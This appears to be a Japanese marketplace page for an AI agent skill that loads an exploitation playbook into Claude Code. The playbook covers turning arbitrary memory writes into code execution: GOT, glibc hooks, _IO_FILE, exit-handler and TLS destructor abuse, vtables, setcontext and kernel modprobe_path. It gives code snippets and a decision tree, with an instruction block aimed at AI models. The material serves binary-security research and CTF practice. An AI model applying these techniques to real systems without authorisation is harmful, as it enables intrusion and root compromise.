mcpField
A
arbitrary-write-to-rce

arbitrary-write-to-rce

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

arbitrary-write-to-rce について

任意書き込みプリミティブをコード実行につなげる、バイナリセキュリティ研究向けの手引きです。glibc のバージョン別に上書き先を整理し、関連する保護機構と発火条件を説明します。

主な機能

  1. 01glibc のバージョン別に上書き先を比較
  2. 02GOT、フック、_IO_FILE の悪用を網羅
  3. 03終了処理と TLS デストラクターの連鎖を解説
  4. 04modprobe_path と fini_array の利用を紹介
  5. 05C++ の仮想関数テーブルと setcontext の手法

活用シーン

  1. 01glibc のバージョンに応じた書き込み先の選定
  2. 02Full RELRO 下での代替経路の評価
  3. 03終了関数悪用におけるポインター保護の分析
  4. 04ヒープやフォーマット文字列の脆弱性からの後続攻撃の検討

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to-rce

インストール後、Claude Code で/arbitrary-write-to-rceを入力して読み込まれたか確認します。

詳細

SKILL:任意書き込みからコード実行へ — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:任意書き込みプリミティブをコード実行に変換するためのエキスパート向け手法です。glibc のバージョン互換性別に整理した、主要な上書き対象を網羅しています:GOT、__malloc_hook、__free_hook、_IO_FILE vtable、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++ vtable、setcontext ガジェット。これは「最後の一歩」を担うスキルです。ベースモデルは、(glibc 2.34 以降では)存在しなくなったフックを狙ったり、ポインタマングリングの要件を見落としたりすることがよくあります。

0. 関連ルーティング


1. GLIBC バージョン別のターゲット選択

ターゲットglibc < 2.242.24–2.33≥ 2.34必要な知識
GOT 上書きOK(Partial RELRO)OK(Partial RELRO)OK(Partial RELRO)バイナリのベースアドレス
__malloc_hookOKOK削除済みlibc のベースアドレス
__free_hookOKOK削除済みlibc のベースアドレス
__realloc_hookOKOK削除済みlibc のベースアドレス
_IO_FILE vtable(直接)OKvtable の範囲チェックvtable の範囲チェックlibc のベースアドレス + ヒープ
_IO_FILE(_IO_str_jumps 経由)該当なしOK(2.24–2.27)パッチ適用済みlibc のベースアドレス + ヒープ
_IO_FILE(_IO_wfile_jumps 経由)該当なしOK(≥ 2.28)OKlibc のベースアドレス + ヒープ
__exit_funcsOKOKOKlibc のベースアドレス + ポインターガード
TLS_dtor_list該当なし該当なしOKTLS アドレス + ポインターガード
_dl_fini / link_mapOKOKOKld.so のベースアドレス
modprobe_path(カーネル)OKOKOKカーネルのベースアドレス
.fini_arrayOKOKOKバイナリのベースアドレス(書き込み可能な場合)
C++ vtableOKOKOKオブジェクトアドレス + ヒープ
setcontext ガジェットOKOK(2.29 で変更)OKlibc のベースアドレス
スタックのリターンアドレス常に利用可能常に利用可能常に利用可能スタックアドレス

2. GOT 上書き

Global Offset Table 内の関数ポインターを置き換えます。

要件
  • Partial RELRO(.got.plt が書き込み可能)— Full RELRO の場合、完全に防がれます
一般的なターゲット
上書き元上書き先トリガー
printf@GOTsystem次に入力を /bin/sh として printf(user_input) を呼び出す
free@GOTsystemptr が "/bin/sh" を指す状態で、次に free(ptr) を呼び出す
strlen@GOTsystem次に strlen(user_input) を呼び出す
atoi@GOTsystem入力を "sh" として、次に atoi(user_input) を呼び出す
puts@GOTsystem次に puts(user_input) を呼び出す
exit@GOTmain またはガジェット複数回実行できるエクスプロイト用のループを作成します
__stack_chk_fail@GOTret ガジェットカナリアチェックを無効化します
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook(glibc < 2.34)

__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format
__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it
one_gadget の制約に対する realloc トリック
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

詳細については、IO_FILE_EXPLOITATION.md を参照してください。

バージョン別の概要
glibc手法Vtable のターゲット
< 2.24直接 vtable を上書き__overflow オフセットに system がある偽のテーブルを vtable に指定します
2.24–2.27_IO_str_jumps有効範囲内に設定します。_IO_str_finish が _s._free_buffer を呼び出します
≥ 2.28_IO_wfile_jumpsワイド文字パス:_wide_data->_wide_vtable は範囲チェックされません
≥ 2.35House of Cat_IO_wfile_seekoff → _IO_switch_to_wget_mode → 偽のワイド vtable 呼び出し
FSOP トリガー
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
悪用方法
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
Pointer Guard がない場合の知識

関数ポインターとポインターガード(TLS の fs:[0x30])の両方を上書きできる場合:

  1. ポインターガードを 0 に設定します
  2. 関数ポインターを ROL(target, 0x11) に設定します
  3. デマングリング:ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list(glibc ≥ 2.34)

スレッドローカルのデストラクターリスト — 2.34 以降における主要な標的です。

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
場所
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
エクスプロイト
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP の破損

攻撃ベクトル

exit() の実行中、_dl_fini は link_map リストを反復処理し、DT_FINI_ARRAY のエントリーを呼び出します。

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor
エクスプロイト
  1. link_map エントリーの l_addr(再配置ベース)を破損させ、FINI_ARRAY ポインターをずらします
  2. または、l_info[DT_FINI_ARRAY] を破損させ、偽の配列を指すようにします
  3. 偽の配列には、標的の関数ポインター(system、one_gadget)が含まれます
  4. トリガー:exit() → _dl_fini → 偽のデストラクターを呼び出します

利点:ポインターマングリングがありません(FINI_ARRAY 内の関数ポインターはマングルされません)。


8. modprobe_path(カーネル)

カーネルの modprobe_path を上書きして、root 権限で任意のコマンドを実行します。

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

カーネルの書き込みプリミティブについては、kernel-exploitation を参照してください。


9. .fini_array

通常のプログラム終了時に呼び出されるデストラクター関数ポインターを上書きします。

# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

制限事項:Full RELRO のバイナリーでは、.fini_array が読み取り専用の場合があります。


10. C++ VTABLE の上書き

// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

11. setcontext GADGET

libc の setcontext は ucontext_t 構造体からレジスターを読み込みます。ピボットガジェットとして役立ちます。

glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
glibc ≥ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

12. 判定ツリー

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)

コメント